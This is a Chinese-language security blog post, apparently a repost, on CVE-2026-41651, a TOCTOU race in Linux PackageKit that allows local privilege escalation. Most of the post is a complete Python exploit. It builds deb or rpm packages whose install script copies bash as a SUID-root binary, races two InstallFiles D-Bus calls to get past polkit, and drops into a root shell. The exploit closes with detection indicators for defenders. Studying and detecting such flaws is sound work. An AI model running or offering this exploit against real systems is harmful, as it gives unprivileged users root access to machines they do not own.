CVE-2026-41651|LinuxPackageKitTOCTOU本地提权漏洞(POC)

admin 2026-05-07 05:37:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了CVE-2026-41651漏洞,这是LinuxPackageKit中的一个TOCTOU竞态条件本地提权漏洞。漏洞存在于D-Bus事务处理机制中,攻击者可通过在同一个事务上先后调用查询操作和特权操作来绕过Polkit认证,最终以root权限执行恶意代码。文档提供了完整的POC利用代码、影响版本范围(PackageKit0.8.1-1.3.4)以及修复方案(PackageKit1.3.5)。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,红队,渗透测试,应急响应


cover_image

CVE-2026-41651|Linux PackageKit TOCTOU本地提权漏洞(POC)

alicy alicy

信安百科

2026年5月6日 09:00 河北

在小说阅读器读本章

去阅读

0x00 前言

PackageKit是一套自由且开源的应用软件套装。它的核心组件包括守护进程packagekitd和交互库libpackagekit-glib2-18。在设计上,PackageKit通过守护进程抽象不同系统的差异,不取代已有的软件包管理系统,而是与之协同工作,支持从本机文件、套装媒体或远程资源安装软件,借助Polkit获取权限,具备多用户系统感知能力,闲置时可自动关闭。

它拥有pkcon命令行等多种前端,能适配YUM、APT、Pacman等多种后端包管理系统,实现跨发行版的软件包安装、更新、卸载及依赖管理等操作。

0x01 漏洞描述

该漏洞的核心是一个CWE-367 TOCTOU(Time-of-check Time-of-use)竞态条件:在同一个D-Bus transaction对象上,攻击者可以先调用一个不需要 polkit认证的查询操作(如 GetPackages),使transaction直接进入 READY→RUNNING状态并排队等待后端执行。紧接着在同一transaction上调用特权操作(如InstallPackages),覆写transaction内部缓存的操作类型(role)和参数(package_ids)。由于GLib的事件优先级和pk_transaction_run() 缺少状态校验,后端最终以被篡改后的特权操作参数执行。

—— ——来源于网络

0x02 CVE编号

CVE-2026-41651

0x03 影响版本

PackageKit 0.8.1 ~ 1.3.4(几乎所有 Linux 桌面发行版默认安装)

0x04 漏洞详情

POC:

https://github.com/baph00met/CVE-2026-41651

#!/usr/bin/env python3"""CVE-2026-41651 - PackageKit TOCTOU Privilege EscalationPurple Team Test Case | FOR AUTHORIZED USE ON TEST SYSTEMS ONLY
Vulnerability: TOCTOU race in PackageKit's D-Bus transaction handling.A client can call InstallFiles twice on the same transaction — once withFLAG_SIMULATE (triggering authorization) and immediately again with FLAG_NONE(real install) before the auth check resolves. The second call's payloadexecutes with root privileges.
Fix: PackageKit 1.3.5 (commit 76cfb675) — state guard in pk-transaction.c     rejects re-invocation of action methods after PK_TRANSACTION_STATE_NEW.
Supports: Debian/Ubuntu (dpkg-deb) and RHEL/Fedora/SUSE (rpmbuild)Requires: python3-gi (GObject introspection bindings)
Hardening notes:  - Explicit 0o755/0o644 chmod on all build artifacts overrides restrictive umask    (e.g. 027/077) that would otherwise make build trees unreadable to dpkg-deb/rpmbuild.  - SUID drop directory is resolved at runtime by probing /proc/mounts for nosuid/noexec    flags. Candidates tried in order: /var/tmp, /dev/shm, /tmp, $HOME."""
import osimport sysimport shutilimport subprocessimport timefrom pathlib import Path
try:    from gi.repository import Gio, GLibexcept ImportError:    sys.exit("[-] Missing python3-gi. Install: apt install python3-gi  OR  dnf install python3-gobject")
# ── Config ───────────────────────────────────────────────────────────────────
SUID_FILENAME = ".suid_bash"            # resolved into a writable, suid/exec-capable dir at runtimePK_BUS        = "org.freedesktop.PackageKit"PK_OBJ      = "/org/freedesktop/PackageKit"PK_IFACE    = "org.freedesktop.PackageKit"TX_IFACE    = "org.freedesktop.PackageKit.Transaction"POLL_SECS   = 90
FLAG_SIMULATE = 4   # PK_TRANSACTION_FLAG_SIMULATE — triggers auth but does not installFLAG_NONE     = 0   # No flags — real install
# ── Mount-flag helpers ────────────────────────────────────────────────────────
def&nbsp;_mount_flags(path:&nbsp;str) ->&nbsp;set:&nbsp; &nbsp;&nbsp;"""Return the mount option set for the filesystem that owns *path*."""&nbsp; &nbsp; path = os.path.realpath(path)&nbsp; &nbsp; best, flags =&nbsp;"",&nbsp;set()&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open("/proc/mounts")&nbsp;as&nbsp;fh:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;fh:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parts = line.split()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(parts) <&nbsp;4:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mnt = parts[1]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;path.startswith(mnt)&nbsp;and&nbsp;len(mnt) >&nbsp;len(best):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; best &nbsp;= mnt&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flags =&nbsp;set(parts[3].split(","))&nbsp; &nbsp;&nbsp;except&nbsp;OSError:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp;&nbsp;return&nbsp;flags

def&nbsp;_find_suid_dir() ->&nbsp;str:&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Return the first candidate directory that is writable and whose filesystem&nbsp; &nbsp; is mounted without 'nosuid' or 'noexec'. &nbsp;Both flags must be absent:&nbsp; &nbsp; &nbsp; - nosuid &nbsp;→ SUID bit silently ignored, shell never becomes root&nbsp; &nbsp; &nbsp; - noexec &nbsp;→ binary cannot be executed at all&nbsp; &nbsp; Candidates are tried in preference order.&nbsp; &nbsp; """&nbsp; &nbsp; candidates = ["/var/tmp",&nbsp;"/dev/shm",&nbsp;"/tmp", os.path.expanduser("~")]&nbsp; &nbsp;&nbsp;for&nbsp;d&nbsp;in&nbsp;candidates:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;os.path.isdir(d)&nbsp;or&nbsp;not&nbsp;os.access(d, os.W_OK):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; flags = _mount_flags(d)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"nosuid"&nbsp;not&nbsp;in&nbsp;flags&nbsp;and&nbsp;"noexec"&nbsp;not&nbsp;in&nbsp;flags:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;d&nbsp; &nbsp; sys.exit(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"[-] No writable directory found that supports SUID + exec.\n"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;" &nbsp; &nbsp;Tried: "&nbsp;+&nbsp;", ".join(candidates)&nbsp; &nbsp; )

# ── Package builders ─────────────────────────────────────────────────────────
def&nbsp;_detect_pkg_mgr():&nbsp; &nbsp;&nbsp;if&nbsp;shutil.which("dpkg-deb"):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"deb"&nbsp; &nbsp;&nbsp;if&nbsp;shutil.which("rpmbuild"):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"rpm"&nbsp; &nbsp; sys.exit("[-] No supported package builder found (need dpkg-deb or rpmbuild)")

def&nbsp;_build_deb(out_path:&nbsp;str, pkg_name:&nbsp;str, postinst:&nbsp;str&nbsp;=&nbsp;None):&nbsp; &nbsp; build = Path(f"/tmp/pkbuild_{pkg_name}")&nbsp; &nbsp; deb &nbsp; = build /&nbsp;"DEBIAN"&nbsp; &nbsp; deb.mkdir(parents=True, exist_ok=True)
&nbsp; &nbsp;&nbsp;# Explicit permissions — overrides restrictive umask (e.g. 027/077) that&nbsp; &nbsp;&nbsp;# would leave directories as 750/700, making them unreadable to dpkg-deb.&nbsp; &nbsp; build.chmod(0o755)&nbsp; &nbsp; deb.chmod(0o755)
&nbsp; &nbsp; ctrl = deb /&nbsp;"control"&nbsp; &nbsp; ctrl.write_text(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"Package:&nbsp;{pkg_name}\nVersion: 1.0\nArchitecture: all\n"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"Maintainer: purple-team\nDescription: CVE-2026-41651 test package\n"&nbsp; &nbsp; )&nbsp; &nbsp; ctrl.chmod(0o644)
&nbsp; &nbsp;&nbsp;if&nbsp;postinst:&nbsp; &nbsp; &nbsp; &nbsp; pi = deb /&nbsp;"postinst"&nbsp; &nbsp; &nbsp; &nbsp; pi.write_text(f"#!/bin/sh\n{postinst}\n")&nbsp; &nbsp; &nbsp; &nbsp; pi.chmod(0o755)
&nbsp; &nbsp; subprocess.run(&nbsp; &nbsp; &nbsp; &nbsp; ["dpkg-deb",&nbsp;"-b",&nbsp;str(build), out_path],&nbsp; &nbsp; &nbsp; &nbsp; check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL&nbsp; &nbsp; )&nbsp; &nbsp; shutil.rmtree(build, ignore_errors=True)

def&nbsp;_build_rpm(out_dir:&nbsp;str, pkg_name:&nbsp;str, post_script:&nbsp;str&nbsp;=&nbsp;None) ->&nbsp;str:&nbsp; &nbsp; topdir = Path(f"/tmp/rpmbuild_{pkg_name}")&nbsp; &nbsp;&nbsp;for&nbsp;sub&nbsp;in&nbsp;("BUILD",&nbsp;"RPMS",&nbsp;"SOURCES",&nbsp;"SPECS",&nbsp;"SRPMS"):&nbsp; &nbsp; &nbsp; &nbsp; d = topdir / sub&nbsp; &nbsp; &nbsp; &nbsp; d.mkdir(parents=True, exist_ok=True)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Explicit 0o755 — same umask rationale as _build_deb; rpmbuild must be&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# able to traverse every subdirectory of _topdir.&nbsp; &nbsp; &nbsp; &nbsp; d.chmod(0o755)&nbsp; &nbsp; topdir.chmod(0o755)
&nbsp; &nbsp; post_section =&nbsp;f"%post\n{post_script}\n"&nbsp;if&nbsp;post_script&nbsp;else&nbsp;""&nbsp; &nbsp; spec_text =&nbsp;f"""%global _topdir&nbsp;{topdir}Name: &nbsp; &nbsp; &nbsp; &nbsp;{pkg_name}Version: &nbsp; &nbsp; 1.0Release: &nbsp; &nbsp; 1Summary: &nbsp; &nbsp; CVE-2026-41651 test packageLicense: &nbsp; &nbsp; MITBuildArch: &nbsp; noarch
%descriptionPurple team test package for CVE-2026-41651.
{post_section}%files"""&nbsp; &nbsp; spec_path = topdir /&nbsp;"SPECS"&nbsp;/&nbsp;f"{pkg_name}.spec"&nbsp; &nbsp; spec_path.write_text(spec_text)&nbsp; &nbsp; spec_path.chmod(0o644)
&nbsp; &nbsp; subprocess.run(&nbsp; &nbsp; &nbsp; &nbsp; ["rpmbuild",&nbsp;"--define",&nbsp;f"_topdir&nbsp;{topdir}",&nbsp;"-bb",&nbsp;str(spec_path)],&nbsp; &nbsp; &nbsp; &nbsp; check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL&nbsp; &nbsp; )
&nbsp; &nbsp; rpms =&nbsp;list((topdir /&nbsp;"RPMS").rglob("*.rpm"))&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;rpms:&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(f"[-] rpmbuild produced no output for&nbsp;{pkg_name}")
&nbsp; &nbsp; dest = os.path.join(out_dir,&nbsp;f"{pkg_name}.rpm")&nbsp; &nbsp; shutil.copy2(str(rpms[0]), dest)&nbsp; &nbsp; shutil.rmtree(topdir, ignore_errors=True)&nbsp; &nbsp;&nbsp;return&nbsp;dest

def&nbsp;build_packages(pkg_mgr:&nbsp;str, suid_path:&nbsp;str):&nbsp; &nbsp; pid &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= os.getpid()&nbsp; &nbsp; payload_script =&nbsp;f"install -m 4755 /bin/bash&nbsp;{suid_path}"
&nbsp; &nbsp;&nbsp;if&nbsp;pkg_mgr ==&nbsp;"deb":&nbsp; &nbsp; &nbsp; &nbsp; dummy &nbsp; =&nbsp;f"/tmp/pk-dummy-{pid}.deb"&nbsp; &nbsp; &nbsp; &nbsp; payload =&nbsp;f"/tmp/pk-payload-{pid}.deb"&nbsp; &nbsp; &nbsp; &nbsp; _build_deb(dummy, &nbsp;&nbsp;f"pk-dummy-{pid}")&nbsp; &nbsp; &nbsp; &nbsp; _build_deb(payload,&nbsp;f"pk-payload-{pid}", postinst=payload_script)&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; dummy &nbsp; = _build_rpm("/tmp",&nbsp;f"pk-dummy-{pid}")&nbsp; &nbsp; &nbsp; &nbsp; payload = _build_rpm("/tmp",&nbsp;f"pk-payload-{pid}", post_script=payload_script)
&nbsp; &nbsp;&nbsp;return&nbsp;dummy, payload
# ── D-Bus / exploit logic ─────────────────────────────────────────────────────
def&nbsp;create_transaction(conn) ->&nbsp;str:&nbsp; &nbsp; res = conn.call_sync(&nbsp; &nbsp; &nbsp; &nbsp; PK_BUS, PK_OBJ, PK_IFACE,&nbsp;"CreateTransaction",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;None, GLib.VariantType("(o)"),&nbsp; &nbsp; &nbsp; &nbsp; Gio.DBusCallFlags.NONE, -1,&nbsp;None&nbsp; &nbsp; )&nbsp; &nbsp;&nbsp;return&nbsp;res.unpack()[0]

def&nbsp;fire_race(conn, tid:&nbsp;str, dummy:&nbsp;str, payload:&nbsp;str):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Send both InstallFiles calls on the same transaction object without waiting.
&nbsp; &nbsp; Call 1 — FLAG_SIMULATE (4): PackageKit queues an authorization check for&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; installing <dummy>. No install occurs yet.&nbsp; &nbsp; Call 2 — FLAG_NONE (0): Re-invokes InstallFiles on the same transaction&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; with the real payload before the auth check resolves. &nbsp;On&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vulnerable versions the state guard is absent, so the second&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call overwrites the queued parameters; when polkit grants auth&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; the payload executes instead of the dummy.&nbsp; &nbsp; """&nbsp; &nbsp; conn.call(&nbsp; &nbsp; &nbsp; &nbsp; PK_BUS, tid, TX_IFACE,&nbsp;"InstallFiles",&nbsp; &nbsp; &nbsp; &nbsp; GLib.Variant("(tas)", (FLAG_SIMULATE, [dummy])),&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;None, Gio.DBusCallFlags.NONE, -1,&nbsp;None,&nbsp;None&nbsp; &nbsp; )&nbsp; &nbsp; conn.call(&nbsp; &nbsp; &nbsp; &nbsp; PK_BUS, tid, TX_IFACE,&nbsp;"InstallFiles",&nbsp; &nbsp; &nbsp; &nbsp; GLib.Variant("(tas)", (FLAG_NONE, [payload])),&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;None, Gio.DBusCallFlags.NONE, -1,&nbsp;None,&nbsp;None&nbsp; &nbsp; )&nbsp; &nbsp; conn.flush_sync(None)

def&nbsp;poll_suid(path:&nbsp;str, timeout:&nbsp;int) ->&nbsp;bool:&nbsp; &nbsp;&nbsp;print(f"[*] Polling for SUID at&nbsp;{path}&nbsp;({timeout}s max)...")&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(timeout):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; st = os.stat(path)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;st.st_mode &&nbsp;0o4000&nbsp;and&nbsp;st.st_uid ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[+] Confirmed:&nbsp;{path}&nbsp;is SUID root (mode={oct(st.st_mode)})")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;FileNotFoundError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(".", end="", flush=True)&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(1)&nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp;&nbsp;return&nbsp;False
# ── Main ──────────────────────────────────────────────────────────────────────
def&nbsp;main():&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;60)&nbsp; &nbsp;&nbsp;print(" &nbsp;CVE-2026-41651 — PackageKit TOCTOU LPE")&nbsp; &nbsp;&nbsp;print(" &nbsp;Purple Team Test Case | Authorized Use Only")&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;60)&nbsp; &nbsp;&nbsp;print()
&nbsp; &nbsp;&nbsp;if&nbsp;os.geteuid() ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; sys.exit("[-] Must be run as an unprivileged user to demonstrate the bug")
&nbsp; &nbsp;&nbsp;# Override any restrictive umask before creating build trees.&nbsp; &nbsp;&nbsp;# Without this, mkdir() may produce 750/700 dirs that dpkg-deb/rpmbuild&nbsp; &nbsp;&nbsp;# cannot traverse. &nbsp;Explicit chmod calls in the builders are the primary&nbsp; &nbsp;&nbsp;# fix; this is a belt-and-suspenders safety net.&nbsp; &nbsp; os.umask(0o022)
&nbsp; &nbsp; suid_dir &nbsp;= _find_suid_dir()&nbsp; &nbsp; suid_path = os.path.join(suid_dir, SUID_FILENAME)&nbsp; &nbsp;&nbsp;print(f"[+] SUID drop directory:&nbsp;{suid_dir}&nbsp; (no nosuid/noexec)")
&nbsp; &nbsp; pkg_mgr = _detect_pkg_mgr()&nbsp; &nbsp;&nbsp;print(f"[+] Package format:&nbsp;{pkg_mgr.upper()}")
&nbsp; &nbsp;&nbsp;print("[*] Building test packages...")&nbsp; &nbsp; dummy_path, payload_path = build_packages(pkg_mgr, suid_path)&nbsp; &nbsp;&nbsp;print(f"[+] Dummy pkg: &nbsp;&nbsp;{dummy_path}")&nbsp; &nbsp;&nbsp;print(f"[+] Payload pkg:&nbsp;{payload_path}")&nbsp; &nbsp;&nbsp;print(f"[+] Payload installs SUID bash to:&nbsp;{suid_path}")&nbsp; &nbsp;&nbsp;print()
&nbsp; &nbsp;&nbsp;print("[*] Connecting to system D-Bus...")&nbsp; &nbsp; conn = Gio.bus_get_sync(Gio.BusType.SYSTEM,&nbsp;None)
&nbsp; &nbsp;&nbsp;print("[*] Creating PackageKit transaction...")&nbsp; &nbsp; tid = create_transaction(conn)&nbsp; &nbsp;&nbsp;print(f"[+] Transaction ID:&nbsp;{tid}")&nbsp; &nbsp;&nbsp;print()
&nbsp; &nbsp;&nbsp;print("[*] Firing TOCTOU race (SIMULATE → REAL on same transaction)...")&nbsp; &nbsp; fire_race(conn, tid, dummy_path, payload_path)
&nbsp; &nbsp; success = poll_suid(suid_path, POLL_SECS)
&nbsp; &nbsp;&nbsp;# Cleanup packages regardless of outcome&nbsp; &nbsp;&nbsp;for&nbsp;p&nbsp;in&nbsp;(dummy_path, payload_path):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.unlink(p)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;OSError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;success:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Exploit window missed — system may be patched or timing was unfavorable")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Note: this race is non-deterministic; retry if system is confirmed vulnerable")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Check PackageKit version: pkcon backend-details")&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)
&nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp;&nbsp;print("[+] Dropping to root shell via SUID bash (-p preserves effective UID=0)")&nbsp; &nbsp;&nbsp;print("[+] --- ROOT SHELL FOLLOWS ---")&nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp; os.execl(suid_path, suid_path,&nbsp;"-p")

# ── Detection artifacts (for the Blue side) ───────────────────────────────────## Indicators defenders should look for:## &nbsp;D-Bus:# &nbsp; - Multiple rapid InstallFiles calls on the same transaction object path# &nbsp; - FLAG_SIMULATE (4) call immediately followed by FLAG_NONE (0) on same tid# &nbsp; - Audit rule: -w /usr/share/dbus-1/ -p wa## &nbsp;File system:# &nbsp; - Creation of SUID root binary in /tmp (mode 04755, owner root)# &nbsp; - dpkg-deb / rpmbuild invoked by non-root, non-package-manager process# &nbsp; - Transient .deb/.rpm files created in /tmp by unprivileged user## &nbsp;Process:# &nbsp; - bash process with UID != EUID (SUID execution)# &nbsp; - PackageKit (packagekitd) running postinst/post scripts from /tmp packages## &nbsp;Audit / syslog:# &nbsp; - packagekitd executing /bin/sh from a %post or postinst originating in /tmp# &nbsp; - polkit granting org.freedesktop.packagekit.package-install to local user# &nbsp; &nbsp; for a package not sourced from a trusted repository## SIEM rule sketch (pseudo):# &nbsp; event.type == "process_start"# &nbsp; AND process.parent.name == "packagekitd"# &nbsp; AND process.name == "sh"# &nbsp; AND process.args matches "/tmp/*"
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

0x05 参考链接

https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv

推荐阅读:

CVE-2026-4747|FreeBSD栈溢出漏洞(POC)

CVE-2026-34714|Vim高危远程代码执行漏洞(POC)

CVE-2026-31431|影响范围很广!Linux内核Copy Fail本地提权漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安百科 alicy alicy《CVE-2026-41651|Linux PackageKit TOCTOU本地提权漏洞(POC)》

评论:0   参与:  0